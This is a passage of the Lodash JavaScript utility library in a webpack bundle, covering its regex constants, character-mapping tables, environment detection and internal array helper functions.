      uint8Tag = '[object Uint8Array]',
      uint8ClampedTag = '[object Uint8ClampedArray]',
      uint16Tag = '[object Uint16Array]',
      uint32Tag = '[object Uint32Array]';

  /** Used to match empty string literals in compiled template source. */
  var reEmptyStringLeading = /\b__p \+= '';/g,
      reEmptyStringMiddle = /\b(__p \+=) '' \+/g,
      reEmptyStringTrailing = /(__e\(.*?\)|\b__t\)) \+\n'';/g;

  /** Used to match HTML entities and HTML characters. */
  var reEscapedHtml = /&(?:amp|lt|gt|quot|#39);/g,
      reUnescapedHtml = /[&<>"']/g,
      reHasEscapedHtml = RegExp(reEscapedHtml.source),
      reHasUnescapedHtml = RegExp(reUnescapedHtml.source);

  /** Used to match template delimiters. */
  var reEscape = /<%-([\s\S]+?)%>/g,
      reEvaluate = /<%([\s\S]+?)%>/g,
      reInterpolate = /<%=([\s\S]+?)%>/g;

  /** Used to match property names within property paths. */
  var reIsDeepProp = /\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,
      reIsPlainProp = /^\w*$/,
      rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g;

  /**
   * Used to match `RegExp`
   * [syntax characters](http://ecma-international.org/ecma-262/7.0/#sec-patterns).
   */
  var reRegExpChar = /[\\^$.*+?()[\]{}|]/g,
      reHasRegExpChar = RegExp(reRegExpChar.source);

  /** Used to match leading whitespace. */
  var reTrimStart = /^\s+/;

  /** Used to match a single whitespace character. */
  var reWhitespace = /\s/;

  /** Used to match wrap detail comments. */
  var reWrapComment = /\{(?:\n\/\* \[wrapped with .+\] \*\/)?\n?/,
      reWrapDetails = /\{\n\/\* \[wrapped with (.+)\] \*/,
      reSplitDetails = /,? & /;

  /** Used to match words composed of alphanumeric characters. */
  var reAsciiWord = /[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g;

  /**
   * Used to validate the `validate` option in `_.template` variable.
   *
   * Forbids characters which could potentially change the meaning of the function argument definition:
   * - "()," (modification of function parameters)
   * - "=" (default value)
   * - "[]{}" (destructuring of function parameters)
   * - "/" (beginning of a comment)
   * - whitespace
   */
  var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;

  /** Used to match backslashes in property paths. */
  var reEscapeChar = /\\(\\)?/g;

  /**
   * Used to match
   * [ES template delimiters](http://ecma-international.org/ecma-262/7.0/#sec-template-literal-lexical-components).
   */
  var reEsTemplate = /\$\{([^\\}]*(?:\\.[^\\}]*)*)\}/g;

  /** Used to match `RegExp` flags from their coerced string values. */
  var reFlags = /\w*$/;

  /** Used to detect bad signed hexadecimal string values. */
  var reIsBadHex = /^[-+]0x[0-9a-f]+$/i;

  /** Used to detect binary string values. */
  var reIsBinary = /^0b[01]+$/i;

  /** Used to detect host constructors (Safari). */
  var reIsHostCtor = /^\[object .+?Constructor\]$/;

  /** Used to detect octal string values. */
  var reIsOctal = /^0o[0-7]+$/i;

  /** Used to detect unsigned integer values. */
  var reIsUint = /^(?:0|[1-9]\d*)$/;

  /** Used to match Latin Unicode letters (excluding mathematical operators). */
  var reLatin = /[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g;

  /** Used to ensure capturing order of template delimiters. */
  var reNoMatch = /($^)/;

  /** Used to match unescaped characters in compiled string literals. */
  var reUnescapedString = /['\n\r\u2028\u2029\\]/g;

  /** Used to compose unicode character classes. */
  var rsAstralRange = '\\ud800-\\udfff',
      rsComboMarksRange = '\\u0300-\\u036f',
      reComboHalfMarksRange = '\\ufe20-\\ufe2f',
      rsComboSymbolsRange = '\\u20d0-\\u20ff',
      rsComboRange = rsComboMarksRange + reComboHalfMarksRange + rsComboSymbolsRange,
      rsDingbatRange = '\\u2700-\\u27bf',
      rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff',
      rsMathOpRange = '\\xac\\xb1\\xd7\\xf7',
      rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf',
      rsPunctuationRange = '\\u2000-\\u206f',
      rsSpaceRange = ' \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000',
      rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde',
      rsVarRange = '\\ufe0e\\ufe0f',
      rsBreakRange = rsMathOpRange + rsNonCharRange + rsPunctuationRange + rsSpaceRange;

  /** Used to compose unicode capture groups. */
  var rsApos = "['\u2019]",
      rsAstral = '[' + rsAstralRange + ']',
      rsBreak = '[' + rsBreakRange + ']',
      rsCombo = '[' + rsComboRange + ']',
      rsDigits = '\\d+',
      rsDingbat = '[' + rsDingbatRange + ']',
      rsLower = '[' + rsLowerRange + ']',
      rsMisc = '[^' + rsAstralRange + rsBreakRange + rsDigits + rsDingbatRange + rsLowerRange + rsUpperRange + ']',
      rsFitz = '\\ud83c[\\udffb-\\udfff]',
      rsModifier = '(?:' + rsCombo + '|' + rsFitz + ')',
      rsNonAstral = '[^' + rsAstralRange + ']',
      rsRegional = '(?:\\ud83c[\\udde6-\\uddff]){2}',
      rsSurrPair = '[\\ud800-\\udbff][\\udc00-\\udfff]',
      rsUpper = '[' + rsUpperRange + ']',
      rsZWJ = '\\u200d';

  /** Used to compose unicode regexes. */
  var rsMiscLower = '(?:' + rsLower + '|' + rsMisc + ')',
      rsMiscUpper = '(?:' + rsUpper + '|' + rsMisc + ')',
      rsOptContrLower = '(?:' + rsApos + '(?:d|ll|m|re|s|t|ve))?',
      rsOptContrUpper = '(?:' + rsApos + '(?:D|LL|M|RE|S|T|VE))?',
      reOptMod = rsModifier + '?',
      rsOptVar = '[' + rsVarRange + ']?',
      rsOptJoin = '(?:' + rsZWJ + '(?:' + [rsNonAstral, rsRegional, rsSurrPair].join('|') + ')' + rsOptVar + reOptMod + ')*',
      rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])',
      rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])',
      rsSeq = rsOptVar + reOptMod + rsOptJoin,
      rsEmoji = '(?:' + [rsDingbat, rsRegional, rsSurrPair].join('|') + ')' + rsSeq,
      rsSymbol = '(?:' + [rsNonAstral + rsCombo + '?', rsCombo, rsRegional, rsSurrPair, rsAstral].join('|') + ')';

  /** Used to match apostrophes. */
  var reApos = RegExp(rsApos, 'g');

  /**
   * Used to match [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks) and
   * [combining diacritical marks for symbols](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks_for_Symbols).
   */
  var reComboMark = RegExp(rsCombo, 'g');

  /** Used to match [string symbols](https://mathiasbynens.be/notes/javascript-unicode). */
  var reUnicode = RegExp(rsFitz + '(?=' + rsFitz + ')|' + rsSymbol + rsSeq, 'g');

  /** Used to match complex or compound words. */
  var reUnicodeWord = RegExp([
    rsUpper + '?' + rsLower + '+' + rsOptContrLower + '(?=' + [rsBreak, rsUpper, '$'].join('|') + ')',
    rsMiscUpper + '+' + rsOptContrUpper + '(?=' + [rsBreak, rsUpper + rsMiscLower, '$'].join('|') + ')',
    rsUpper + '?' + rsMiscLower + '+' + rsOptContrLower,
    rsUpper + '+' + rsOptContrUpper,
    rsOrdUpper,
    rsOrdLower,
    rsDigits,
    rsEmoji
  ].join('|'), 'g');

  /** Used to detect strings with [zero-width joiners or code points from the astral planes](http://eev.ee/blog/2015/09/12/dark-corners-of-unicode/). */
  var reHasUnicode = RegExp('[' + rsZWJ + rsAstralRange  + rsComboRange + rsVarRange + ']');

  /** Used to detect strings that need a more robust regexp to match words. */
  var reHasUnicodeWord = /[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/;

  /** Used to assign default `context` object properties. */
  var contextProps = [
    'Array', 'Buffer', 'DataView', 'Date', 'Error', 'Float32Array', 'Float64Array',
    'Function', 'Int8Array', 'Int16Array', 'Int32Array', 'Map', 'Math', 'Object',
    'Promise', 'RegExp', 'Set', 'String', 'Symbol', 'TypeError', 'Uint8Array',
    'Uint8ClampedArray', 'Uint16Array', 'Uint32Array', 'WeakMap',
    '_', 'clearTimeout', 'isFinite', 'parseInt', 'setTimeout'
  ];

  /** Used to make template sourceURLs easier to identify. */
  var templateCounter = -1;

  /** Used to identify `toStringTag` values of typed arrays. */
  var typedArrayTags = {};
  typedArrayTags[float32Tag] = typedArrayTags[float64Tag] =
  typedArrayTags[int8Tag] = typedArrayTags[int16Tag] =
  typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] =
  typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] =
  typedArrayTags[uint32Tag] = true;
  typedArrayTags[argsTag] = typedArrayTags[arrayTag] =
  typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] =
  typedArrayTags[dataViewTag] = typedArrayTags[dateTag] =
  typedArrayTags[errorTag] = typedArrayTags[funcTag] =
  typedArrayTags[mapTag] = typedArrayTags[numberTag] =
  typedArrayTags[objectTag] = typedArrayTags[regexpTag] =
  typedArrayTags[setTag] = typedArrayTags[stringTag] =
  typedArrayTags[weakMapTag] = false;

  /** Used to identify `toStringTag` values supported by `_.clone`. */
  var cloneableTags = {};
  cloneableTags[argsTag] = cloneableTags[arrayTag] =
  cloneableTags[arrayBufferTag] = cloneableTags[dataViewTag] =
  cloneableTags[boolTag] = cloneableTags[dateTag] =
  cloneableTags[float32Tag] = cloneableTags[float64Tag] =
  cloneableTags[int8Tag] = cloneableTags[int16Tag] =
  cloneableTags[int32Tag] = cloneableTags[mapTag] =
  cloneableTags[numberTag] = cloneableTags[objectTag] =
  cloneableTags[regexpTag] = cloneableTags[setTag] =
  cloneableTags[stringTag] = cloneableTags[symbolTag] =
  cloneableTags[uint8Tag] = cloneableTags[uint8ClampedTag] =
  cloneableTags[uint16Tag] = cloneableTags[uint32Tag] = true;
  cloneableTags[errorTag] = cloneableTags[funcTag] =
  cloneableTags[weakMapTag] = false;

  /** Used to map Latin Unicode letters to basic Latin letters. */
  var deburredLetters = {
    // Latin-1 Supplement block.
    '\xc0': 'A',  '\xc1': 'A', '\xc2': 'A', '\xc3': 'A', '\xc4': 'A', '\xc5': 'A',
    '\xe0': 'a',  '\xe1': 'a', '\xe2': 'a', '\xe3': 'a', '\xe4': 'a', '\xe5': 'a',
    '\xc7': 'C',  '\xe7': 'c',
    '\xd0': 'D',  '\xf0': 'd',
    '\xc8': 'E',  '\xc9': 'E', '\xca': 'E', '\xcb': 'E',
    '\xe8': 'e',  '\xe9': 'e', '\xea': 'e', '\xeb': 'e',
    '\xcc': 'I',  '\xcd': 'I', '\xce': 'I', '\xcf': 'I',
    '\xec': 'i',  '\xed': 'i', '\xee': 'i', '\xef': 'i',
    '\xd1': 'N',  '\xf1': 'n',
    '\xd2': 'O',  '\xd3': 'O', '\xd4': 'O', '\xd5': 'O', '\xd6': 'O', '\xd8': 'O',
    '\xf2': 'o',  '\xf3': 'o', '\xf4': 'o', '\xf5': 'o', '\xf6': 'o', '\xf8': 'o',
    '\xd9': 'U',  '\xda': 'U', '\xdb': 'U', '\xdc': 'U',
    '\xf9': 'u',  '\xfa': 'u', '\xfb': 'u', '\xfc': 'u',
    '\xdd': 'Y',  '\xfd': 'y', '\xff': 'y',
    '\xc6': 'Ae', '\xe6': 'ae',
    '\xde': 'Th', '\xfe': 'th',
    '\xdf': 'ss',
    // Latin Extended-A block.
    '\u0100': 'A',  '\u0102': 'A', '\u0104': 'A',
    '\u0101': 'a',  '\u0103': 'a', '\u0105': 'a',
    '\u0106': 'C',  '\u0108': 'C', '\u010a': 'C', '\u010c': 'C',
    '\u0107': 'c',  '\u0109': 'c', '\u010b': 'c', '\u010d': 'c',
    '\u010e': 'D',  '\u0110': 'D', '\u010f': 'd', '\u0111': 'd',
    '\u0112': 'E',  '\u0114': 'E', '\u0116': 'E', '\u0118': 'E', '\u011a': 'E',
    '\u0113': 'e',  '\u0115': 'e', '\u0117': 'e', '\u0119': 'e', '\u011b': 'e',
    '\u011c': 'G',  '\u011e': 'G', '\u0120': 'G', '\u0122': 'G',
    '\u011d': 'g',  '\u011f': 'g', '\u0121': 'g', '\u0123': 'g',
    '\u0124': 'H',  '\u0126': 'H', '\u0125': 'h', '\u0127': 'h',
    '\u0128': 'I',  '\u012a': 'I', '\u012c': 'I', '\u012e': 'I', '\u0130': 'I',
    '\u0129': 'i',  '\u012b': 'i', '\u012d': 'i', '\u012f': 'i', '\u0131': 'i',
    '\u0134': 'J',  '\u0135': 'j',
    '\u0136': 'K',  '\u0137': 'k', '\u0138': 'k',
    '\u0139': 'L',  '\u013b': 'L', '\u013d': 'L', '\u013f': 'L', '\u0141': 'L',
    '\u013a': 'l',  '\u013c': 'l', '\u013e': 'l', '\u0140': 'l', '\u0142': 'l',
    '\u0143': 'N',  '\u0145': 'N', '\u0147': 'N', '\u014a': 'N',
    '\u0144': 'n',  '\u0146': 'n', '\u0148': 'n', '\u014b': 'n',
    '\u014c': 'O',  '\u014e': 'O', '\u0150': 'O',
    '\u014d': 'o',  '\u014f': 'o', '\u0151': 'o',
    '\u0154': 'R',  '\u0156': 'R', '\u0158': 'R',
    '\u0155': 'r',  '\u0157': 'r', '\u0159': 'r',
    '\u015a': 'S',  '\u015c': 'S', '\u015e': 'S', '\u0160': 'S',
    '\u015b': 's',  '\u015d': 's', '\u015f': 's', '\u0161': 's',
    '\u0162': 'T',  '\u0164': 'T', '\u0166': 'T',
    '\u0163': 't',  '\u0165': 't', '\u0167': 't',
    '\u0168': 'U',  '\u016a': 'U', '\u016c': 'U', '\u016e': 'U', '\u0170': 'U', '\u0172': 'U',
    '\u0169': 'u',  '\u016b': 'u', '\u016d': 'u', '\u016f': 'u', '\u0171': 'u', '\u0173': 'u',
    '\u0174': 'W',  '\u0175': 'w',
    '\u0176': 'Y',  '\u0177': 'y', '\u0178': 'Y',
    '\u0179': 'Z',  '\u017b': 'Z', '\u017d': 'Z',
    '\u017a': 'z',  '\u017c': 'z', '\u017e': 'z',
    '\u0132': 'IJ', '\u0133': 'ij',
    '\u0152': 'Oe', '\u0153': 'oe',
    '\u0149': "'n", '\u017f': 's'
  };

  /** Used to map characters to HTML entities. */
  var htmlEscapes = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  };

  /** Used to map HTML entities to characters. */
  var htmlUnescapes = {
    '&amp;': '&',
    '&lt;': '<',
    '&gt;': '>',
    '&quot;': '"',
    '&#39;': "'"
  };

  /** Used to escape characters for inclusion in compiled string literals. */
  var stringEscapes = {
    '\\': '\\',
    "'": "'",
    '\n': 'n',
    '\r': 'r',
    '\u2028': 'u2028',
    '\u2029': 'u2029'
  };

  /** Built-in method references without a dependency on `root`. */
  var freeParseFloat = parseFloat,
      freeParseInt = parseInt;

  /** Detect free variable `global` from Node.js. */
  var freeGlobal = typeof __webpack_require__.g == 'object' && __webpack_require__.g && __webpack_require__.g.Object === Object && __webpack_require__.g;

  /** Detect free variable `self`. */
  var freeSelf = typeof self == 'object' && self && self.Object === Object && self;

  /** Used as a reference to the global object. */
  var root = freeGlobal || freeSelf || Function('return this')();

  /** Detect free variable `exports`. */
  var freeExports =  true && exports && !exports.nodeType && exports;

  /** Detect free variable `module`. */
  var freeModule = freeExports && "object" == 'object' && module && !module.nodeType && module;

  /** Detect the popular CommonJS extension `module.exports`. */
  var moduleExports = freeModule && freeModule.exports === freeExports;

  /** Detect free variable `process` from Node.js. */
  var freeProcess = moduleExports && freeGlobal.process;

  /** Used to access faster Node.js helpers. */
  var nodeUtil = (function() {
    try {
      // Use `util.types` for Node.js 10+.
      var types = freeModule && freeModule.require && freeModule.require('util').types;

      if (types) {
        return types;
      }

      // Legacy `process.binding('util')` for Node.js < 10.
      return freeProcess && freeProcess.binding && freeProcess.binding('util');
    } catch (e) {}
  }());

  /* Node.js helper references. */
  var nodeIsArrayBuffer = nodeUtil && nodeUtil.isArrayBuffer,
      nodeIsDate = nodeUtil && nodeUtil.isDate,
      nodeIsMap = nodeUtil && nodeUtil.isMap,
      nodeIsRegExp = nodeUtil && nodeUtil.isRegExp,
      nodeIsSet = nodeUtil && nodeUtil.isSet,
      nodeIsTypedArray = nodeUtil && nodeUtil.isTypedArray;

  /*--------------------------------------------------------------------------*/

  /**
   * A faster alternative to `Function#apply`, this function invokes `func`
   * with the `this` binding of `thisArg` and the arguments of `args`.
   *
   * @private
   * @param {Function} func The function to invoke.
   * @param {*} thisArg The `this` binding of `func`.
   * @param {Array} args The arguments to invoke `func` with.
   * @returns {*} Returns the result of `func`.
   */
  function apply(func, thisArg, args) {
    switch (args.length) {
      case 0: return func.call(thisArg);
      case 1: return func.call(thisArg, args[0]);
      case 2: return func.call(thisArg, args[0], args[1]);
      case 3: return func.call(thisArg, args[0], args[1], args[2]);
    }
    return func.apply(thisArg, args);
  }

  /**
   * A specialized version of `baseAggregator` for arrays.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} setter The function to set `accumulator` values.
   * @param {Function} iteratee The iteratee to transform keys.
   * @param {Object} accumulator The initial aggregated object.
   * @returns {Function} Returns `accumulator`.
   */
  function arrayAggregator(array, setter, iteratee, accumulator) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      var value = array[index];
      setter(accumulator, value, iteratee(value), array);
    }
    return accumulator;
  }

  /**
   * A specialized version of `_.forEach` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns `array`.
   */
  function arrayEach(array, iteratee) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (iteratee(array[index], index, array) === false) {
        break;
      }
    }
    return array;
  }

  /**
   * A specialized version of `_.forEachRight` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns `array`.
   */
  function arrayEachRight(array, iteratee) {
    var length = array == null ? 0 : array.length;

    while (length--) {
      if (iteratee(array[length], length, array) === false) {
        break;
      }
    }
    return array;
  }

  /**
   * A specialized version of `_.every` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} predicate The function invoked per iteration.
   * @returns {boolean} Returns `true` if all elements pass the predicate check,
   *  else `false`.
   */
  function arrayEvery(array, predicate) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (!predicate(array[index], index, array)) {
        return false;
      }
    }
    return true;
  }

  /**
   * A specialized version of `_.filter` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} predicate The function invoked per iteration.
   * @returns {Array} Returns the new filtered array.
   */
  function arrayFilter(array, predicate) {
    var index = -1,
        length = array == null ? 0 : array.length,
        resIndex = 0,
        result = [];

    while (++index < length) {
      var value = array[index];
      if (predicate(value, index, array)) {
        result[resIndex++] = value;
      }
    }
    return result;
  }

  /**
   * A specialized version of `_.includes` for arrays without support for
   * specifying an index to search from.
   *
   * @private
   * @param {Array} [array] The array to inspect.
   * @param {*} target The value to search for.
   * @returns {boolean} Returns `true` if `target` is found, else `false`.
   */
  function arrayIncludes(array, value) {
    var length = array == null ? 0 : array.length;
    return !!length && baseIndexOf(array, value, 0) > -1;
  }

  /**
   * This function is like `arrayIncludes` except that it accepts a comparator.
   *
   * @private
   * @param {Array} [array] The array to inspect.
   * @param {*} target The value to search for.
   * @param {Function} comparator The comparator invoked per element.
   * @returns {boolean} Returns `true` if `target` is found, else `false`.
   */
  function arrayIncludesWith(array, value, comparator) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (comparator(value, array[index])) {
        return true;
      }
    }
    return false;
  }

  /**
   * A specialized version of `_.map` for arrays without support for iteratee
   * shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns the new mapped array.
   */
  function arrayMap(array, iteratee) {
    var index = -1,
        length = array == null ? 0 : array.length,
        result = Array(length);

    while (++index < length) {
      result[index] = iteratee(array[index], index, array);
    }
    return result;
  }

  /**
   * Appends the elements of `values` to `array`.
   *
   * @private
   * @param {Array} array The array to modify.
   * @param {Array} values The values to append.
   * @returns {Array} Returns `array`.
   */
  function arrayPush(array, values) {
    var index = -1,
        length = values.length,
        offset = array.length;

    while (++index < length) {
      array[offset + index] = values[index];
    }
    return array;
  }

  /**
   * A specialized version of `_.reduce` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @param {*} [accumulator] The initial value.
   * @param {boolean} [initAccum] Specify using the first element of `array` as
   *  the initial value.
   * @returns {*} Returns the accumulated value.
   */
  function arrayReduce(array, iteratee, accumulator, initAccum) {
    var index = -1,
        length = array == null ? 0 : array.length;

    if (initAccum && length) {
      accumulator = array[++index];
    }
    while (++index < length) {
      accumulator = iteratee(accumulator, array[index], index, array);
    }
    return accumulator;
  }

  /**
   * A specialized version of `_.reduceRight` for arrays without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @param {*} [accumulator] The initial value.
   * @param {boolean} [initAccum] Specify using the last element of `array` as
   *  the initial value.
   * @returns {*} Returns the accumulated value.
   */
  function arrayReduceRight(array, iteratee, accumulator, initAccum) {
    var length = array == null ? 0 : array.length;
    if (initAccum && length) {
      accumulator = array[--length];
    }
    while (length--) {
      accumulator = iteratee(accumulator, array[length], length, array);
    }
    return accumulator;
  }

  /**
   * A specialized version of `_.some` for arrays without support for iteratee
   * shorthands.
   *
   * @private
   * @param {Array} [array] The array to iterate over.
   * @param {Function} predicate The function invoked per iteration.
   * @returns {boolean} Returns `true` if any element passes the predicate check,
   *  else `false`.
   */
  function arraySome(array, predicate) {
    var index = -1,
        length = array == null ? 0 : array.length;

    while (++index < length) {
      if (predicate(array[index], index, array)) {
        return true;
      }
    }
    return false;
  }

  /**
   * Gets the size of an ASCII `string`.
   *
   * @private
   * @param {string} string The string inspect.
   * @returns {number} Returns the string size.
   */
  var asciiSize = baseProperty('length');

  /**
   * Converts an ASCII `string` to an array.
   *
   * @private
   * @param {string} string The string to convert.
   * @returns {Array} Returns the converted array.
   */
  function asciiToArray(string) {
    return string.split('');
  }

  /**
   * Splits an ASCII `string` into an array of its words.
   *
   * @private
   * @param {string} The string to inspect.
   * @returns {Array} Returns the words of `string`.
   */
  function asciiWords(string) {
    return string.match(reAsciiWord) || [];
  }

  /**
   * The base implementation of methods like `_.findKey` and `_.findLastKey`,
   * without support for iteratee shorthands, which iterates over `collection`
   * using `eachFunc`.
   *
   * @private
   * @param {Array|Object} collection The collection to inspect.
   * @param {Function} predicate The function invoked per iteration.
   * @param {Function} eachFunc The function to iterate over `collection`.
   * @returns {*} Returns the found element or its key, else `undefined`.
   */
  function baseFindKey(collection, predicate, eachFunc) {
    var result;
    eachFunc(collection, function(value, key, collection) {
      if (predicate(value, key, collection)) {
        result = key;
        return false;
      }
    });
    return result;
  }

  /**
   * The base implementation of `_.findIndex` and `_.findLastIndex` without
   * support for iteratee shorthands.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {Function} predicate The function invoked per iteration.
   * @param {number} fromIndex The index to search from.
   * @param {boolean} [fromRight] Specify iterating from right to left.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function baseFindIndex(array, predicate, fromIndex, fromRight) {
    var length = array.length,
        index = fromIndex + (fromRight ? 1 : -1);

    while ((fromRight ? index-- : ++index < length)) {
      if (predicate(array[index], index, array)) {
        return index;
      }
    }
    return -1;
  }

  /**
   * The base implementation of `_.indexOf` without `fromIndex` bounds checks.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function baseIndexOf(array, value, fromIndex) {
    return value === value
      ? strictIndexOf(array, value, fromIndex)
      : baseFindIndex(array, baseIsNaN, fromIndex);
  }

  /**
   * This function is like `baseIndexOf` except that it accepts a comparator.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @param {Function} comparator The comparator invoked per element.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function baseIndexOfWith(array, value, fromIndex, comparator) {
    var index = fromIndex - 1,
        length = array.length;

    while (++index < length) {
      if (comparator(array[index], value)) {
        return index;
      }
    }
    return -1;
  }

  /**
   * The base implementation of `_.isNaN` without support for number objects.
   *
   * @private
   * @param {*} value The value to check.
   * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
   */
  function baseIsNaN(value) {
    return value !== value;
  }

  /**
   * The base implementation of `_.mean` and `_.meanBy` without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} array The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {number} Returns the mean.
   */
  function baseMean(array, iteratee) {
    var length = array == null ? 0 : array.length;
    return length ? (baseSum(array, iteratee) / length) : NAN;
  }

  /**
   * The base implementation of `_.property` without support for deep paths.
   *
   * @private
   * @param {string} key The key of the property to get.
   * @returns {Function} Returns the new accessor function.
   */
  function baseProperty(key) {
    return function(object) {
      return object == null ? undefined : object[key];
    };
  }

  /**
   * The base implementation of `_.propertyOf` without support for deep paths.
   *
   * @private
   * @param {Object} object The object to query.
   * @returns {Function} Returns the new accessor function.
   */
  function basePropertyOf(object) {
    return function(key) {
      return object == null ? undefined : object[key];
    };
  }

  /**
   * The base implementation of `_.reduce` and `_.reduceRight`, without support
   * for iteratee shorthands, which iterates over `collection` using `eachFunc`.
   *
   * @private
   * @param {Array|Object} collection The collection to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @param {*} accumulator The initial value.
   * @param {boolean} initAccum Specify using the first or last element of
   *  `collection` as the initial value.
   * @param {Function} eachFunc The function to iterate over `collection`.
   * @returns {*} Returns the accumulated value.
   */
  function baseReduce(collection, iteratee, accumulator, initAccum, eachFunc) {
    eachFunc(collection, function(value, index, collection) {
      accumulator = initAccum
        ? (initAccum = false, value)
        : iteratee(accumulator, value, index, collection);
    });
    return accumulator;
  }

  /**
   * The base implementation of `_.sortBy` which uses `comparer` to define the
   * sort order of `array` and replaces criteria objects with their corresponding
   * values.
   *
   * @private
   * @param {Array} array The array to sort.
   * @param {Function} comparer The function to define sort order.
   * @returns {Array} Returns `array`.
   */
  function baseSortBy(array, comparer) {
    var length = array.length;

    array.sort(comparer);
    while (length--) {
      array[length] = array[length].value;
    }
    return array;
  }

  /**
   * The base implementation of `_.sum` and `_.sumBy` without support for
   * iteratee shorthands.
   *
   * @private
   * @param {Array} array The array to iterate over.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {number} Returns the sum.
   */
  function baseSum(array, iteratee) {
    var result,
        index = -1,
        length = array.length;

    while (++index < length) {
      var current = iteratee(array[index]);
      if (current !== undefined) {
        result = result === undefined ? current : (result + current);
      }
    }
    return result;
  }

  /**
   * The base implementation of `_.times` without support for iteratee shorthands
   * or max array length checks.
   *
   * @private
   * @param {number} n The number of times to invoke `iteratee`.
   * @param {Function} iteratee The function invoked per iteration.
   * @returns {Array} Returns the array of results.
   */
  function baseTimes(n, iteratee) {
    var index = -1,
        result = Array(n);

    while (++index < n) {
      result[index] = iteratee(index);
    }
    return result;
  }

  /**
   * The base implementation of `_.toPairs` and `_.toPairsIn` which creates an array
   * of key-value pairs for `object` corresponding to the property names of `props`.
   *
   * @private
   * @param {Object} object The object to query.
   * @param {Array} props The property names to get values for.
   * @returns {Object} Returns the key-value pairs.
   */
  function baseToPairs(object, props) {
    return arrayMap(props, function(key) {
      return [key, object[key]];
    });
  }

  /**
   * The base implementation of `_.trim`.
   *
   * @private
   * @param {string} string The string to trim.
   * @returns {string} Returns the trimmed string.
   */
  function baseTrim(string) {
    return string
      ? string.slice(0, trimmedEndIndex(string) + 1).replace(reTrimStart, '')
      : string;
  }

  /**
   * The base implementation of `_.unary` without support for storing metadata.
   *
   * @private
   * @param {Function} func The function to cap arguments for.
   * @returns {Function} Returns the new capped function.
   */
  function baseUnary(func) {
    return function(value) {
      return func(value);
    };
  }

  /**
   * The base implementation of `_.values` and `_.valuesIn` which creates an
   * array of `object` property values corresponding to the property names
   * of `props`.
   *
   * @private
   * @param {Object} object The object to query.
   * @param {Array} props The property names to get values for.
   * @returns {Object} Returns the array of property values.
   */
  function baseValues(object, props) {
    return arrayMap(props, function(key) {
      return object[key];
    });
  }

  /**
   * Checks if a `cache` value for `key` exists.
   *
   * @private
   * @param {Object} cache The cache to query.
   * @param {string} key The key of the entry to check.
   * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
   */
  function cacheHas(cache, key) {
    return cache.has(key);
  }

  /**
   * Used by `_.trim` and `_.trimStart` to get the index of the first string symbol
   * that is not found in the character symbols.
   *
   * @private
   * @param {Array} strSymbols The string symbols to inspect.
   * @param {Array} chrSymbols The character symbols to find.
   * @returns {number} Returns the index of the first unmatched string symbol.
   */
  function charsStartIndex(strSymbols, chrSymbols) {
    var index = -1,
        length = strSymbols.length;

    while (++index < length && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
    return index;
  }

